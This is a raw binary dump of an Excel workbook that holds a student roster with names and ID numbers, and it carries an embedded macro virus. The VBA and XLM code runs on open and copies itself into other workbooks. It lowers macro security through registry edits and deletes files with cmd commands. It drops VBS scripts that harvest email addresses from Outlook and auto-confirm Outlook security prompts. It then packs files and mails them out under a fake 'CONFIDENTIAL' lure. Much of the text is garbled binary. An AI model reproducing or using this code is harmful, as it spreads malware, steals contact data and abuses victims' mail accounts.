ࡱ> ~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}Root Entry F[! _ -Workbooky_VBA_PROJECT_CUR"N _ VBAN    \p Administrator Ba= ThisWorkbook=ix<#8X@"1[SO1[SO1[SO1[SO1[SO1hўSO1[SO1[SO1[SO1 [SO1$[SO1 [SO1 [SO1 [SO""#,##0;""\-#,##0""#,##0;[Red]""\-#,##0""#,##0.00;""\-#,##0.00#""#,##0.00;[Red]""\-#,##0.007*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ ?,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)""#,##0;\-""#,##0""#,##0;[Red]\-""#,##0""#,##0.00;\-""#,##0.00#""#,##0.00;[Red]\-""#,##0.0050_-""* #,##0_-;\-""* #,##0_-;_-""* "-"_-;_-@_-,'_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-=8_-""* #,##0.00_-;\-""* #,##0.00_-;_-""* "-"??_-;_-@_-4/_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-0_);[Red]\(0\) 0;[Red]00_ 0.00_);[Red]\(0.00\)                    , * + )   8@ @ 8@ @   !8@ @  !8@ @ 8@ @    8@ @  x@ @  (@ @ x@ @ 8@ @  8@ @  !8@ @  !8@ @ 8@ @ 0@ @ 8  8^ĉ 2 `OMacro1mRSheet1QSheet2eSheet3VV!  ; ! :! :! :! :"ZR3 A@@   F;`S 7^S 7Y T 7'`+R 7le 7f[S 7NN 7s~ 7/eYe^S:S 7Scf[!h Ty 7Yl 7g3S 7[~gS 73IQؚ-N 7g_lS 7 SLYe-N_[z  7O[-Nf[ 709uyNs 709uyNs 7sY 7Il 77u 7[V^ 7eh-Nf[ 7wmQL!h 7}vN-Nf[ 7`[S 7[^ASmQ-N 72009~1s 7 060109257 060109247 060109241 060109233 060109205 060109222 060109258 060109235 060109203 060109224 060109237 060109338 060109349 060109360 060109294 060109320[y:S 7\S 7 010109113 010109095 010109080 010109081 010109108 010109072hTS 7 010109223 7Ilef[ 709~4s 7~3R-N 7"=N9N 7 010109239 7~nR-N 7[1U 7 010109193 7N 7 010511002 7NGS,g1s 7[WehG-N_f[!h 7sle 7 0105110044TOeOe 7 010511012[^^ 7[^N-N 7hgOe 7 010511017AS̑-N_f[!h 7jlwZ 7 010511019e]W-Nf[ 7_ 7 010511035fY 7 010511041"sh 7 010511045 7Wf 7 010511047 7*jWG]\\f[ 7!iOiO 7 010511049 7g3-Nf[ 7Ξeg 7 010511051 7dOe 7 010511052q\S-N_f[!h 7kp 7 010511084 7PN 7 010511096 7SwZ 7 010511060 7Ng  7 010511074 7hq 7 010511094 7Ilef[NGS,g 7 Ns 7UO\^ 7 010511114 7g3 N-N 7 010511136 7Ğ܀~ 7 010511153 7sY 7 010511154 7_o 709~2s 7Ngh 7Y[\Oe 7Y[ewZ 7ёOe 7ugg 7_l4t 7 010109140 709Il3 7lR-N 7~hQ 7 010109134 7s~ 7 010109131 7]yW%f 7 010109170 7g3-N_f[!h 73oVn-Nf[ 7hg~n-Nf[ 7 _Q4t 7 7s 7 020109128 7ls 7 020109144 72009~4s 71ggaOe 7 020109135 72009~3s 7 020109090 7hT9\ 7 020109059 7sN 7 z 7H[ 7 020109112 7bS f 7 020109181 72009~5s 7 020109076 72009~2s 7R 7 020109081 7T[_9N 7 020109001 7 020109039 7jl\O 7 020109106 7SS 7 020109117 7 _=N 7 020109101 7ehR-N 7A~ fS 7v_l-Nf[ 7RUs 709~1s 7PhW^ 7PhWASN-N 7H2mR-N 7sёGW 7Ğhbho 710~ 7UO33 709~ 7_l 74T 7Hf 7_lx 74T^ 7hgQ 7HO 7SWc 7` 7[s^s^ 7 010109146 7 060109333{:gyf[Nb/g 7 070109023 7 070109024 74Tz%f 7H[ 7vfs 74Tim 7 070109040 7ww\f[ 7 Il 7 050109050 7 /gf[ 7/gf[Ns 71gfg 7 050109008 7/gf[Ns 7ggaga 7 050109023 7TXR 7Ğwm  7 050109031 7 050109054sv 7 050109036 7sY 7g3SVq\\f[ 7?Rh 7 050109060 7/c3lQf[ 74l\f[ 7ؚ~s 7 N0N\f[ 7ؚX-Nf[ 7gHu\f[ 7Ngy 7\f[Ye 7wLr-N_f[!h 7HSfOe 7 7st 7^(u_tf[ 7[[-Nf[ 7Yeb/gf[ 7sg3 7See 7RUW 7dll-N_\f[ 7sOe 7'Yq\-N_\f[ 7syN 7N~ 7Yef[ 7_S:S\f[ 7uOe 7hgff 7\oq\S 7Α[\f[ 7H׋O 7Y[ 7wmm 7Y[%fg 7\^-N_f[!h 7eIN:_ 74TNޘ 7hTKQ 7s`Ʉ 7YO^ 7ĞX\f[ 7V~\f[ 7R'YO 7 040309011 7NeYe 709~NeYe 7Sp-Nf[ 723456hXX\f[ 7R\\f[ 7smyaNёq\\f[ 7hge 7Y[eZ 709pe3s 7NgHQ~g 7Y[Ns^ 71gt^Q 7hT_[ 709pe4s 7FO 7ĞV h 7wm~g 7 _S 7jl 7TN"k 7uym 7eQf[!h 74T  7PNN 7Nga 7 _c^ 71gNo 7 0u4YaNgHu[hQ\f[ 7 zi_N 709pe5s 7 HvtVn-N_f[!hWS\f[  7hgY 7jlNN 709pe6s 7 wmS-N_f[!h(G_l\f[) 70uSh 7g3LYe-N_ 7g]NtQ 7SNpg 7!WW 7``?elYe 7N 7NgY 7Ngs 7Nge 7[5 7Y[~ 7s 7e!t 7SOho 71s 7NgIZ 7ĞNS\f[ 7_wZwZ 7Ng9N 7SOYe 76s 7gOO 7[^]N-N 7R[ʃ 7[`m 7*jW-N_f[!h 7[~v 7dlS 72s 7jlg 74s 7jlx 77u  7s_4t 7hg~n-N_f[!h 7hgZ 7hgN^ 7ё$X-N_f[!h 7hg3 73s 7YOR 7 _pg 7 _QT 7dl`l-Nf[ 7 _`i 71gNN 7~n\f[ 7\oq\SlGR-N 7hTve 7NS 7[_wmhfNb 79\_S 7egi-Nf[ 7=NBh 7`l] 75`lnVn[f[!h 7fzN 7*YVnS 7*YVnSR-N  7T_ 7% [^^f[b,{]Nybv\/eYeb T~h 7\G'Yeh\f[ 7 Kb:g\P:g 7 *YHalq\\f[ 7vT-Nf[ 7PhWmQ-N 7 UOf[wZ 7 Y[ '4'"( u)N*x^+\,jR-`P.^D/R80F81F,2:33A%435$ 6 6 7 8 9 :;}<{=[>iW?eQ@_7AEB+=CK/D= EEFGHIJKULBLcc @  TPR  dMbP?_*+%"??1UBT-adminBA B~h/y(u[ sQ 2011-9-25 16:48:16 Please Enable Macro!BvBAB7d 1   >@7   0WlIe  dMbP?_*+% ,{ &P u qQ &N u&jZ?' BP(?(\.?)M&d2?MHP LaserJet 1020 4 4XX     SDDMHP LaserJet 1020 -(d" dXX `?x@ @ ?   @ 7 A   B D:l, @! @" @# @$ @% @& @' @( @) @* @+ @, @- @. @/ @0 @1 @2 @3 @4 @5 @6 @7 @8 @9 @: @; @< @= @> @? @ ?@"@ z   4 7 u   !@@$@ !U ! ! !V !7 !A ! ! W! "@@&@ "{ " " "| "7 "} " " ~" #A@(@ #y # # #3 #7 #u # # # $A@*@ $v $ $ $0 $7 $u $ $ $ %B@,@ % % % % %7 %} % % % &B@.@ &x & & &2 &7 &u & & & 'C@0@ 'w ' ' '1 '7 'u ' ' ' (C@1@ (C ( ( (D (7 (A ( ( B( )D@2@ ) ) ) ) )7 )} ) ) ) *D@3@ *: * * *; *7 *8 * * <* +E@4@ +S + + +T +7 +A + + + ,E@5@ ,O , , ,P ,7 ,A , , , -F@6@ -t - - -/ -7 -u - - - .F@7@ .= . . .> .7 .8 . . <. /G@8@ /5 / / /6 /7 /8 / / 9/ 0G@9@ 0 0 0 0 07 0} 0 0 Z0 1H@:@ 1L 1 1 1M 17 1A 1 1 N1 2H@;@ 2b 2 2 2c 27 2 2- 2 2 3I@<@ 3` 3 3 3a 37 3 3- 3 3 4I@=@ 4[ 4 4 4\ 47 4A 4- 4 4 5J@>@ 5f 5 5 5g 57 5 5. 5 ]5 6J@?@ 6h 6 6 6i 67 6 6. 6 6 7K@@@ 7 7 7 7o 7j 7k 7 7 7 8K@@@ 8l 8 8 8m 8j 8k 8 8 n8 9L@A@ 9h 9 9 9i 9j 9k 9 9 9 :L@A@ :f : : :g :j :k : : : ;M@B@ ;p ; ; ;q ;j ;k ; ; ; <M@B@ <r < < <s <j <k < < < =N@C@ =d = = =e =j =k =- = = >N@? > > >~ >I,& > > >G > H> ?O@@ ? ? ?~ ?8& ? ? ? ? ? Dl@ @A @B @C @D @E @F @G @H @I @J @K @L @M @N @O @P @Q @R @S @T @U @V @W @X @Y @Z @[ @\ @] @^ @_ @@O@@ @ @ @~ @vG,& @ @ @ @ @ AP@@ A A A~ A~J,& A A A A A B@P@@ B B B B! B B B B ZB CP@@ C C C~ Cj8& C C C C <C DP@@ D D D D" D D D D D EQ@ @ E E E~ E8& E E E E E F@Q@"@ F F F~ FRJ,& F F F F F GQ@? G G G~ G* G G G G G HQ@@ H H H~ HF%* H H H H H IR@? I/ I I I0 I I1 I I nI J@R@@ J J J J J J J J  J KR@@ K* K K K+ K K K K K LR@@ L L L L3 L L1 L L nL MS@@ M, M M M- M M M M .M N@S@@ N N N N# N N N N N OS@@ O O O O5 O O1 O O O PS@ @ P P P P) P P P- P P QT@"@ Q' Q Q Q( Q Q Q- Q Q R@T@$@ R R R R2 R R1 R- R R ST@&@ S S S S S S S- S S TT@(@ T T T T T T T- T T UU@*@ U U U U$ U U U- U U V@U@,@ V V V V4 V V1 V- V V WU@.@ W% W W W& W W W- W W XU@? X X X~ Xf+ X X X X X YV@@ Y Y Y~ YV+ Y Y Y Y Y Z@V@@ Z Z Z~ Z*+ Z Z Z Z Z [V@@ [ [ [~ [+ [ [ [ [ [ \V@@ \ \ \~ \Z+ \ \ \ \ \ ]W@@ ] ] ]~ ]+ ] ] ] ] ] ^@W@@ ^ ^ ^~ ^+ ^ ^ ^ ^ ^ _W@ @ _ _ _~ _+ _ _ _ _ _ Dl` @a @b @c @d @e @f @g @h @i @j @k @l @m @n @o @p @q @r @s @t @u @v @w @x @y @z @{ @| @} @~ @ @`W@"@ ` ` `~ `n+ ` ` ` ` ` aX@$@ a a a~ aj+ a a a a a b@X@&@ b b b~ bz+ b b b b b cX@(@ c c c~ c+ c c c c c dX@*@ d d d~ dN+ d d d d d eY@,@ e e e~ e e e e. e e f@Y@.@ f f f~ f& f f f. f f gY@? g g g g7 g g gG g Hg hY@@ h h h h: h h hG h h iZ@@ i i i i8 i i iG i i j@Z@@ j j j j9 j j jG j j kZ@@ k k k k; k k k k k lZ@@ l l l l l  l  l l  l ~ m[@ mQ mR m m mS mT mU m/ m Vm ~ n@[@ n  n^ n n n_ nT nU n/ n _n ~ o[@ o  ob o o oc oT o\ o/ o Ko ~ p[@ p p` p p pa pT p\ p p p ~ q\@ q qW q q qX qT qY q q q ~ r@\@ r rZ r r r[ rT r\ r. r ]r s\@? sA s s~ sB s> s sG s B s Ct\@@ t t t~ t t> t t. t t u]@@ u u u~ uVߢ u> u uG u u v@]@@ v v v~ vߢ v> v v v <v w]@@ w w w~ wߢ w> w w w w x]@@ x= x x~ xߢ x> x x x x y^@@ y? y y~ y*ߢ y> y y y @ y 'z@^@ @ z z z~ z z> z z z @z {^@"@ { { {~ { {> { { { { |^@$@ | | |~ |& |> | | | | }_@&@ } } }~ } }> } } } } ~@_@? ~ ~ ~ ~) ~ ~ ~/ ~ ~ _@@    *   /   Dl @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @_@@    ,     `@@          `@@        Z @`@@    G     ``@@    '    Z `@ @    !     `@"@    F     `@$@    (     `@&@         a@(@    I      a@*@    +     @a@,@    &    s `a@.@    "     a@0@    H     a@1@         a@2@    E     a@3@    #     b@4@    D       b@5@         @b@6@    %     `b@7@    $     b@8@    K   -  b@9@    J   -  b@:@    L   -  b@;@    N   -  c@<@    M   -   c@=@    O   .  @c@?   ~ g!  u G H `c@@   ~ Rg!   G  c@@   ~ g!     c@@   ~ :g!    s c@@   ~ "g!  u  ~ Dl @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @c@@   ~ g!     d@@   ~ 2g!      d@ @   ~ Vg!     @d@"@   ~ vg!  u    `d@?   ~ R    Pd@@   ~ R    Pd@@   ~ NR     d@@   ~ "@  G  Pd@@   ~ V@  G  Pe@@   ~ @    s  e@@   ~ @     @e@ @   ~ @     `e@"@   ~ @     e@$@   ~ @     e@&@   ~ @     e@(@    ~ @     e@*@    ~ @     f@,@    ~ @      f@.@   ~ ^@     @f@0@    ~ n@      `f@1@    ~ @     f@2@   ~ @      f@3@    ~ @   -  f@4@   ~ @   .  f@?     l u    g@@ j   k l 8    g@@ q   r l 8  s @g@@ t   u l   < `g@@     l    g@@ |   w l }   g@@ ~    l    g@ @ $    l 8   Dl @ @ @ @ @ @ @ @  @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @g@"@     l    h@$@ m   n l u o p  h@&@     l }   @h@(@ !    l } " # `h@*@ y   z l u  { h@,@ v   w l u . x h@? 6  ~      h@@   ~      h@@   ~      i@@   ~ B      i@@   ~ n     @i@@ ,  ~ ^   - 0 `i@@   ~ :   -  i@ @   ~ 6   -  i@"@   ~ E     i@?       /  i@@       /  j@@          j@@         @j@@        B `j@@        Z j@@         j@ @         j@"@         j@$@          k@&@        &  k@(@         @k@*@        N `k@,@        N k@.@         k@0@       -  k@1@       -  Dl @ ' ( ( (#k@$2@ % $ $ & $ $ $- $ $l@"? 1 2 3~ R 4 5 6 7 8 l@"@  9  : 3~  ʅ@ ;  < = D 8@l@"@  >  : 3~  :@ ;  ? = E 8`l@"@ !@ !2 !3~ ·@ !; !A !B !C 8DP& (  R  C ]F!  d NZR  C ]F!  d NZR  C ]F!  NZR  C ]F!  d NZR  C ]F! d NZR  C ]F! d NZR   C ]F ! NZR   C ]F ! d NZR   C  ]F ! NZR   C   ]F ! NbNZR  C   ]F!t d N>@  7 Sheet1     dMbP?_*+%"??U>@7 Sheet2     dMbP?_*+%"??U>@7 Sheet3 ThisWorkbook Sheet1 +aSheet2=aSheet3Oa  !"#$%&'()*,-./0123456789:;<>?@ABCDEFGHIJKLMNPQRSTUVWXYZ[\]^_`bcdefghijklmnopqrstuvwyz{|}~d\Y#ٕlO+ӏa)Fx:cEU3.dxME [LSS<(`&<^<,<<< <$<0<4<8<<<N0{00020819-0000-0000-C000-000000000046}P(%H` % %%*  H )\h%HP  ]xx%x ` ]x%8(t t 0p 0@d @h8HhTVwR*\R1*#2a9 " ( 0@H" PX\`     ] Ġ &. &((APo &{0002E157-0000-0000-C000-000000000046} \!<!B@v &(.N  8)] % 14 ad% c`(%+f`Np ffCih )k%)m%in  14 Gpt %`pp`rl`th`vd`x` {\% V8`N  14`h`d Th T@`xN  14@\ !*`X`T`P`L`< <.`, b`($f `x ` )YB YD YF YH( YJ`L `N +  `  H+n` ` Sip`r`t`+2 `  e@z @| `+x `(  oI @ @ ( ` xI  I @ @ 6 `!!  %``` R`N @\ @L @< `: h ( 0 ` 8  @@x x 8" %h ( 0 ` 8  @@x x 8h ( 0 ` 8  @@x x 8`l H!pRTVXH!Xh @d H!` @P @Rl "@(XhH`X4@4 @$ @ (_ H X@ X @ ( @  o ?@      8 Ho ` p `(H(l 8pX$   @ @ `HH\ @L @< H8``xHl  H`dHH` @\ (X @T @D @ @0 @ @ @  @ @ H 0z (UUUUUU? Hpt 8@p @` H(\ HX ??   %h 8Ph0hD  % l @4 $ @  @ 8H0 @ @ @ @ @ @ @t Hp @` @P @@ @0 @l 0p( ]h`HHH`` ]h`% (H!\ p@L H!@H @D H!@ @> (Xp!%z p!!!pL @ < @, p  @ 0! @ @ @ ! @ 0! !8 !h!`!!7!!`!Y%P"0246 x (t @p @` "\ @L (< @, `#H$%X$`l @\ p$X T@$`X$%(P %%%%p%Xx H@t @d %` @\ &X%`v% XT @P @L @H $ "VwR*\R4*#1d*\R1*#2ad$*\Rffff*0S52778b67"  "H "0@H*TP  "  "`  p     "   B       ) * ZH V \ X`     ( H "  PX`  "    ( @Xx6^@Xx <08P B  X`hQp "   0bPP 02#  ( .$0 `hpxP  +  . @ J^H ,$,$  ( " 0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// " 0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>@ 2@LA `A^pA:AB B(B " 0B8B@BHB $XBB BBBBBBBBBB BCC C(C0CHCPCXC`ChCpC B xC2CCCCCCDDD B  D D8D@D XDhDD DDDDDD*D2EPE`EhEB pExEE4E.EF*F HFXF B  `FhFpF*F F F FF "  FGG*GJHGG GG GG GH H0H8H " @HHH`H hH xHHH H@HHII 0I @IPIXI`I pII*IIII&J|(JvJ, K PK `KpK xKK B  KKK K "K "KK&+L 0L$G8L"0`LLLL L:L "L LL &(( !* &!, &(.A0A2$4!Macro1G A@6j B@8inistr &(.kXoP@]"n ThisWorkbook !<%>!@kt#Public WithEvents xx As ApplicationC@BPrivate Sub Workbook_open()C@BSet xx = ApplicationC@BOn Error Resume NextC@B!Application.DisplayAlerts = FalseC@B Call do_whatC@BEnd SubC@Bz1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@B On Error Resume NextC@B %wb.VBProject.References.AddFromGuid _C@B GUID:= :&{0002E157-0000-0000-C000-000000000046} :, _C@B Major:=5, Minor:=3C@B "Application.ScreenUpdating = FalseC@B!Application.DisplayAlerts = FalseC@B copystart wbC@B!Application.ScreenUpdating = TrueC@BEnd SubC@Bqo]]] !<.D ThisWorkbook D%>.F F!@.J J5NC@Lqox8 !* &!,A@RATAVAXk0i(]]k4.xls$d!<.` \!<.bToDole ` b$fGzji  0]](]@]X]p]] j'fz0k( h$| ~'fzk l'fzk j! 'fzk l! 'fzkx h j%>.F !'fz@k8Temp$\ h.bas'p n p    $~ ~ B@ pA@ !'fzkk l!> h7C@qXdP B@ h l%>.F ! ! d'fzkkk p h j%>B@ p\$'v p.$'x p v x v  $'r.F r l%>.F F p l!>B@d F!l  p l!>%.z F!@5NC@L z!@!N z!@%'t tC@Bq z l!>B@k`kX pA@'fi8]]  !' &!,\k4.xls'k4.xls$ !* &!,Gk4.xls$dB@Bjcomspec$  /c attrib -S -h " &!,\K4.XLS" A@comspec$  /c Del /F /Q " &!,\K4.XLS" A@comspec$  /c RD /S /Q " &!,\K4.XLS" A@ !* &!, &(. (  B@ ( &(.kHi@8]]]( &!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi@] WScript.Shell$.    B@dP    B@k0.o ]h \%4B@H l 4B@Macro1 (A2$B@H =ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" &!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  \!4 !!Auto_Activate =Macro1!$A$2 \!B@  \%(o'  &%d! 'z`kXPiH]10:00:00 ]11:00:008]14:00:00P]15:00:00h] WScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@A@ k d G|j   n $   n $| d n $' D:\Collected_Address:frag2.txt$X' n $ D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@ D:\Collected_Address:frag2.txtA@A@k k k o ] 8Ph scripting.filesystemobject$. WScript.Shell$.E:\KK %GE:\KK B@ j ! ! $ _$"._$"'E:\KK\  _clear.vbs'$ ' $  On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit  Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\  _Search.vbs'& ' &  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  $"), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V * &(( wscript.exe & . B@,.o]  ]8 P 2'0 WScript.Shell$.scripting.filesystemobject$.E:\SORCE %GE:\SORCE B@ j ! ! $ _$"._$"'*  *Message*'4 E:\sorce\ _Key.vbs' '   .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ *.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F:  .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ .xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ .xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ .xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file." & Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ .xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ) = " " and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !* \TEST.txt' '    E:\sorce\ _Key.vbs  E:\sorce\ .xls V &(.A@6 E:\sorce\ .xls B@A@R$L' 8 !*$A@:#"C:\" !*A@:comspec$  /c makecab /F " !* \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ .CAB . B@, " !* \TEST.txt %< !* \setup.rpt %< !* \setup.inf %< !*\ .CAB %<aA@comspec$  /c RD /S /Q " !*\disk1" . B@,comspec$  /c Del /F /Q " !* \TEST.txt" . B@,comspec$  /c Del /F /Q " !* \setup.rpt" . B@,comspec$  /c Del /F /Q " !* \setup.inf" . B@,comspec$  /c RD /S /Q E:\sorce . B@,E:\KK %GE:\KK B@ jcomspec$  /c MOVE /Y   .CAB E:\KK" . B@, 8A@: 0  Dear all, @  @FYIE:\KK\ .CABA>comspec$  /c RD /S /Q E:\KK . B@,. &(.o=h ]H ]` G|jOutlook.Application$.L R L%P.N N D9D F9F B9h H9T J5VB@9Xq =Z=\= NB@^[ setforth A@A@A@%sbA@`A@\<Z<.L.No<x Win32_Process WinMgmts:$f%h.d'  j d j!lOUTLOOK ' y<k;;i; ] 0 H 'n pGzj p   p n$$ 'n zP;kH; p 'rA@4  v r  x   't x t G n$$ x t 'nj x t 'x:i:` ]   '2D:\Collected_Address\log.txt$ @$~'z z z  $n$$$~'|  | 2; $|X $z'2 i9 9]H ` scRiPTinG.fiLEsysTeMoBjEcT$.  %. !' B@Bi9x 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ %G   $ B@ j  %<  %.  B@ B@Bd8  %.  B@ B@Bk7o7( ]h   ] &(. &((p7  ! ( !!$~# Auto_ActivateG B@j7  !4 !Macro1  ( B@k66$4B@H 4B@  !4 !$4!G  (j06 v ' v '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 &(.op4 ](@X@4 !' &(. &((  !4 !Macro1G  (j3 A1:F15 $4% ! CONFIDENTIAL 'yh3k`3X3 G $4B@j &(.i 33YAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@ 2 vE 3 Set=4 On Error Resu@Next5  6 o_wtha7h8Ixx_OByVal wbkAMB) 9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC = s(#%A7aj!! $ .DBuntOf'(Func d#r&Є@_`(cDataaInvoke_a! 